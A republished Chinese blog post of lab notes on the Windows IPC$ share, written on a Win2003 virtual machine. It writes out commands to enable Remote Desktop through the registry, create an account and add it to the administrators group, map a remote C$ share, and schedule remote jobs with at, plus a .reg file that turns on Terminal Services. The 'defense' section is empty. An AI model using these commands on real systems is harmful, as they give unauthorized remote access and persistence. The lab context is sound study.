IPC$ 测试与防范
物理机系统：Win7 虚拟机系统：Win2003 Netstat –an 查看本机端口 Netstat –ano 查看本机端口+PID 通过本机上操作（比如登录网站），然后命令，查看对方IP以及端口 首先使用360极速浏览器插件查看本机ip 本机IPv6地址（临时）,感觉很屌！！！！ 网页访问百度之后 百度IP Netstat –ano查看 内部地址转外部地址 出现问题：本地地址访问的百度是172.19.166.5，但是没有172.19.166.5与外部地址的转换，初步怀疑是IPv6，但是百度ip显示的是 很是疑惑。 查看是哪个进程 ---- Tasklist 正题之一 命令行开启3389端口 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 命令： net user 帐号 密码 /add –创建帐号的命令 net localgroup administrators 帐号 /add --提升管理员命令 net use 查询ipc链接 net time \\IP ---查询时间 360，你为何如此的屌！！！ 结果： net use q: \\IP地址\c$ --- 将远程IP的c盘映射到本机q盘 结果： at \\IP 时间 regedit /s 路径 ---注册表导入命令 （打开3389端口） 注册表内容： 1 Windows Registry Editor Version 5.00 2 3 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] 4 "Enabled"="0" 5 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 6 "ShutdownWithoutLogon"="0" 7 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] 8 "EnableAdminTSRemote"=dword:00000001 9 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] 10 "TSEnabled"=dword:00000001 11 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] 12 "Start"=dword:00000002 13 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] 14 "Start"=dword:00000002 15 [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] 16 "Hotkey"="1" 17 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 18 "PortNumber"=dword:00000D3D 19 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] 20 "PortNumber"=dword:00000D3D 正题之二 防御 这只是很简单的学习，但是从中学到了许多。 本文转自我爱物联网博客园博客，原文链接：http://www.cnblogs.com/yydcdut/p/3462810.html，如需转载请自行联系原作者
